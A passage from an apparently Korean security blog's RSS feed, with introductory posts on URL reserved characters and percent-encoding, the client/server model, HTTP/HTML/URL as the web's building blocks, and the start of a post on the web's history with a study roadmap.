&lt;td style=&quot;width: 27.0117%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;&amp;amp;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left; height: 17px;&quot;&gt;&lt;b&gt;다음 파라미터 식별자&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;+&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left; height: 17px;&quot;&gt;&lt;b&gt;공백&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center;&quot;&gt;&lt;b&gt;#&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left;&quot;&gt;&lt;b&gt;뒤에 오는 모든 것 제거&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;! * ( ) ; : @ $ , / [ ]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left; height: 17px;&quot;&gt;&lt;b&gt;그 외 문자...&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;http://www.example.com/board.do?val1=test&amp;amp;val2=test+is&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 구조 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;369&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn9n5c/btsKwlrP1eZ/faSYMJf70EEAkiUk56v9jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn9n5c/btsKwlrP1eZ/faSYMJf70EEAkiUk56v9jk/img.png&quot; data-alt=&quot;그림5 - URL 구조 분석&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn9n5c/btsKwlrP1eZ/faSYMJf70EEAkiUk56v9jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn9n5c%2FbtsKwlrP1eZ%2FfaSYMJf70EEAkiUk56v9jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;705&quot; height=&quot;369&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - URL 구조 분석&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;데이터에 URL 예약 문자가 들어갈 경우 어떻게 전송될까?!&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;981&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4x8yJ/btsKwi9JOX5/CVfPAeVYH5qKyIsq3qHU01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4x8yJ/btsKwi9JOX5/CVfPAeVYH5qKyIsq3qHU01/img.png&quot; data-alt=&quot;그림6 - 데이터에 URL 예약 문자가 있는 경우&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4x8yJ/btsKwi9JOX5/CVfPAeVYH5qKyIsq3qHU01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4x8yJ%2FbtsKwi9JOX5%2FCVfPAeVYH5qKyIsq3qHU01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;981&quot; height=&quot;254&quot; data-origin-width=&quot;981&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 데이터에 URL 예약 문자가 있는 경우&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림6 처럼 전송되지 않는다. cre 뒤에 &amp;amp;#는 데이터로 인식하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 인코딩&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 상에서 문자를 표현하는 방법으로 데이터 전송 상에 손실을 막기 위해서 인코딩을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 예약 문자를 단순 데이터로 전송이 될 수 있도록 인코딩을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹 브라우저를 사용할 경우 브라우저에서 URL 인코딩은 자동으로 해준다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;※아래의 인코딩 문자는 외워 두는 것이 좋다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 64.8837%; height: 125px;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt;문자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt;인코딩&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt; &amp;amp;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%26&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%25&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;+&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%2B&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;공백&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%20&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;%3D&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.5207%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;#&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;%23&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.5207%; text-align: center;&quot;&gt;&lt;b&gt;'&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; text-align: center;&quot;&gt;&lt;b&gt;%27&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.5207%; text-align: center;&quot;&gt;&lt;b&gt;?&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6627%; text-align: center;&quot;&gt;&lt;b&gt;%3F&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 구조에서 살펴본 URL 인코딩&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zHFbz/btsKv7mVFGd/uTMQSlnKufck1BKuD01450/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zHFbz/btsKv7mVFGd/uTMQSlnKufck1BKuD01450/img.png&quot; data-alt=&quot;그림7 - 로그인 시 입력한 데이터가 웹 브라우저를 통해 서버로 전송되는 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zHFbz/btsKv7mVFGd/uTMQSlnKufck1BKuD01450/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzHFbz%2FbtsKv7mVFGd%2FuTMQSlnKufck1BKuD01450%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;410&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 로그인 시 입력한 데이터가 웹 브라우저를 통해 서버로 전송되는 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 사용자는 아이디와 패스워드를 입력하여 로그인 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 웹 브라우저는 아이디와 패스워드 값 내에 있는 URL 예약 문자를 인코딩하여 서버로 전송한다. - HTTP Request&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>URL</category>
      <category>url 예약문자</category>
      <category>URL 인코딩</category>
      <category>Web</category>
      <category>웹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/193</guid>
      <comments>https://it-log.tistory.com/193#entry193comment</comments>
      <pubDate>Wed, 6 Nov 2024 22:00:22 +0900</pubDate>
    </item>
    <item>
      <title>웹을 구성하는 3대 요소</title>
      <link>https://it-log.tistory.com/192</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹의 기본 구조, 클라이언트/서버 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹은 클라이언트(Client)/서버(Server) 구조로 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 = 클라이언트 = 웹 브라우저(크롬, 엣지 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 = 웹 서버 = 웹 어플리케이션 서버(WAS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버에 따라 PHP, JSP(JAVA), ASP 등 사용되는 언어가 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I5pTZ/btsKv5JnjMX/PRUBgk6IfK9oTvhiLI0MaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I5pTZ/btsKv5JnjMX/PRUBgk6IfK9oTvhiLI0MaK/img.png&quot; data-alt=&quot;그림1 - 클라이언트와 서버&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I5pTZ/btsKv5JnjMX/PRUBgk6IfK9oTvhiLI0MaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI5pTZ%2FbtsKv5JnjMX%2FPRUBgk6IfK9oTvhiLI0MaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;575&quot; height=&quot;136&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 클라이언트와 서버&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;클라이언트/서버 통신 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 = 서비스를 이용하는 대상, 최초에 서비스 요청을 먼저 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 = 서비스를 제공하는 대상, 클라이언트 측으로부터 서비스 요청을 받게되면 그에 대한 서비스 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 &amp;rarr; 서버로의 요청은 HTTP 요청 메시지(HTTP Request Message)라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 &amp;rarr; 클라이언트로의 응답은 HTTP 응답 메시지(HTTP Response Messasge)라고 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bC8EOR/btsKvfMGSyj/T0A5iRukSwHcwHT6P8Y29K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bC8EOR/btsKvfMGSyj/T0A5iRukSwHcwHT6P8Y29K/img.png&quot; data-alt=&quot;그림2 - 클라이언트/서버 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bC8EOR/btsKvfMGSyj/T0A5iRukSwHcwHT6P8Y29K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbC8EOR%2FbtsKvfMGSyj%2FT0A5iRukSwHcwHT6P8Y29K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;585&quot; height=&quot;199&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 클라이언트/서버 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹의 3대 요소&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹을 구성하는 3대 요소로 HTML, HTTP, URL이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP = 웹 서버와 웹 클라이언트 간에 통신을 할 수 있도록 지원해준다. (프로토콜, 통신 규약)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL = 웹 클라이언트가 웹 서버로 자원을 요청할 수 있게 해준다. (주소)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML = 웹 클라이언트가 웹 서버로 URL을 통한 자원 요청 후 HTML이 담긴 응답을 받으며, 웹 브라우저가 이를 해석하여 사용자에게 구조화된 인터페이스를 출력시켜 준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;407&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVr5br/btsKwtJWjDq/CfUSzE1Ls4fGk31knwqfa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVr5br/btsKwtJWjDq/CfUSzE1Ls4fGk31knwqfa0/img.png&quot; data-alt=&quot;그림3 - HTTP, HTML, URL을 사용하여 서버와 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVr5br/btsKwtJWjDq/CfUSzE1Ls4fGk31knwqfa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVr5br%2FbtsKwtJWjDq%2FCfUSzE1Ls4fGk31knwqfa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;407&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - HTTP, HTML, URL을 사용하여 서버와 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>서버</category>
      <category>웹</category>
      <category>웹 서버</category>
      <category>클라이언트</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/192</guid>
      <comments>https://it-log.tistory.com/192#entry192comment</comments>
      <pubDate>Tue, 5 Nov 2024 22:00:29 +0900</pubDate>
    </item>
    <item>
      <title>웹의 탄생 및 발전</title>
      <link>https://it-log.tistory.com/191</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 기초 지식의 필요성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹은 다수의 사용자가 특정 서비스를 이용하며, 서로 대화도 나누고 정보를 주고 받는 생태계 구조이다. 이러한 환경 속에서 취약점 진단을 수행하기 위해 최소한의 지식이 반드시 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;738&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3dlaY/btsKvfr1c5i/io7XRxr7ibkJvjjvg6eLIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3dlaY/btsKvfr1c5i/io7XRxr7ibkJvjjvg6eLIk/img.png&quot; data-alt=&quot;그림1 - 취약점 진단을 위한 지식 로드맵&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3dlaY/btsKvfr1c5i/io7XRxr7ibkJvjjvg6eLIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3dlaY%2FbtsKvfr1c5i%2Fio7XRxr7ibkJvjjvg6eLIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;738&quot; height=&quot;384&quot; data-origin-width=&quot;738&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 취약점 진단을 위한 지식 로드맵&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 웹 기초에 대한 이해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 통신이 어떻게 이루어 지는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- GET, POST 메소드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 세션, 쿠키&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 웹 어플리케이션에 대한 이해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- php, jsp, asp&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(게시판 만들기 &amp;rarr; .CRUD, &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;로그인, 로그아웃, 회원가입&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 웹 어플리케이션 로직에 대한 이해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 취약점에 대한 이해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 응용 취약점에 대한 이해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 어플리케이션 로직에 대한 이해가 선행되어야 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 대응책 수립 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹의 탄생과 발전&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹은 다수의 네트워크가 모여서 형성된 공간으로 디바이스에 대한 제약없이 웹 클라이언트 프로그램만 있다면 누구나 접근이 가능하다. 이를 통해 서로 정보를 공유하고 교류를 할 수 있는 문화가 형성되는 곳이다. 정확하게는 World Wide Web이라고 하며 이를 줄여서 WWW, W3, WEB이라 부른다.&lt;/p&gt;
